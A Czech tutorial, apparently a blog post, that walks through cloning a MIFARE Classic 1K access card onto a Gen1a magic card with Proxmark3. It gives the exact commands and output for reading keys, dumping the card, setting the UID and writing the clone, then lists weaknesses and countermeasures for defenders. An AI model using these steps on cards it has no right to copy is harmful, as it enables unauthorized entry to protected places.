Postup klonování MIFARE karty

Úvod

Tento dokument popisuje postup klonování MIFARE karty pomocí Proxmark3. Všechny kroky musí být prováděny pod dohledem oprávněné osoby a pouze pro výukové a testovací účely.

Důležité upozornění k typu karty

Pro úspěšné klonování je nutné použít speciální typ karty označovaný jako "Magic Card". Standardní MIFARE karty mají z výroby trvale uzamčené některé důležité oblasti:

• UID (unikátní identifikátor)
• ATQA (Answer To Request Type A)
• SAK (Select Acknowledge)
• Výrobní blok (manufacturer block)

Magic Card umožňuje:

• Změnu všech výše uvedených parametrů
• Opakovaný zápis do normálně uzamčených oblastí
• Emulaci různých typů MIFARE karet
• Kompletní klonování včetně UID

V našem postupu používáme Magic Card Gen1a, která je schopná emulovat MIFARE Classic 1K kartu včetně všech potřebných parametrů.

MIFARE Classic 1K - Technická specifikace

• Paměť: 1024 bytů, organizovaných do 16 sektorů
• Struktura sektorů: Každý sektor obsahuje 4 bloky po 16 bytech
• Organizace:
  • Sektor 0, Blok 0: Obsahuje UID karty a výrobní data (pouze pro čtení)
  • Každý sektor má svůj vlastní Sector Trailer (poslední blok sektoru)
  • Sector Trailer obsahuje:
  • Klíč A (6 bytů)
  • Přístupová práva (4 byty)
  • Klíč B (6 bytů)
• Pracovní frekvence: 13.56 MHz
• Komunikační rychlost: 106 kbit/s
• Dosah čtení: Typicky 10 cm
• Životnost: 100,000 cyklů zápisu
• Uchování dat: 10 let

Bezpečnostní vlastnosti

• Unikátní 4bytové UID (7bytové pro některé verze)
• Vzájemná tříprůchodová autentizace (Three-pass authentication)
• Individuální přístupová práva pro každý paměťový blok
• Šifrování komunikace pomocí algoritmu Crypto-1
• Hardwarový generátor čísel pro autentizaci

Krok 1: Detekce původní karty

Příkaz:

[usb] pm3 --> auto

Výstup:

[=] lf search
[=] hf search
[+] UID: 80 AF 20 AD
[+] ATQA: 00 04
[+] SAK: 08 [2]
[+] Magic capabilities : Gen 1a
[#] 1 static nonce 01200145

Poznámka: V tomto kroku jsme zjistili základní parametry karty:

• UID: 80AF20AD
• ATQA: 0004
• SAK: 08
• Typ karty: Magic Card Gen1a

Krok 2: Kontrola klíčů původní karty

Příkaz:

[usb] pm3 --> hf mf fchk --1k

Výstup:

[=] Running strategy 1
[=] Chunk 0.3s | found 32/32 keys (56)
[+] found keys:
[+] -----+-----+--------------+---+--------------+----
[+]  Sec | Blk | key A        |res| key B        |res
[+]  000 | 003 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  001 | 007 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
...
[+]  015 | 063 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1

Poznámka: Zjistili jsme, že všechny sektory používají defaultní klíč FFFFFFFFFFFF.

Krok 3: Vytvoření dumpu původní karty

Příkaz pro uložení dumpu:

[usb] pm3 --> hf mf csave -f original_card_dump.eml

Poznámka: Tento krok vytvoří soubor s kompletním obsahem původní karty. Soubor se uloží do aktuálního adresáře.

Krok 4: Příprava nové karty

1. Vložte novou kartu na čtečku
2. Nastavte UID, ATQA a SAK:

   [usb] pm3 --> hf mf csetuid -u 80AF20AD --atqa 0004 --sak 08

Výstup:

[+] old block 0... 80AF20ADA2080400036EB27E57BF7590
[+] new block 0... 80AF20ADA2080400036EB27E57BF7590
[+] Old UID... 80 AF 20 AD
[+] New UID... 80 AF 20 AD  ( verified )

Krok 5: Zápis dat na novou kartu

Příkaz pro nahrání dumpu:

[usb] pm3 --> hf mf cload -f original_card_dump.eml

Poznámka: Tímto nahrajeme kompletní obsah původní karty na novou kartu.

Krok 6: Ověření

Pro ověření úspěšnosti klonování můžeme použít:

[usb] pm3 --> hf mf cview

Důležitá upozornění

1. Všechny operace musí být prováděny s kartou položenou na čtečce
2. Je nutné přesně dodržet syntaxi příkazů
3. Postup je určen pouze pro výukové a testovací účely
4. Při práci s kartami dbejte na správnou manipulaci
5. Průběžně kontrolujte úspěšnost jednotlivých kroků

Zjištěné bezpečnostní problémy

1. Použití defaultních klíčů (FFFFFFFFFFFF)
2. Implementace pouze UID autentizace
3. Přítomnost statického nonce
4. Možnost použití Magic Card pro klonování

Doporučená protiopatření

1. Změna defaultních klíčů
2. Implementace 3DES autentizace
3. Pravidelná rotace klíčů
4. Monitoring přístupů
5. Detekce pokusů o použití klonovaných karet

The post Postup klonování MIFARE Clasic 1K first appeared on Hard Wired.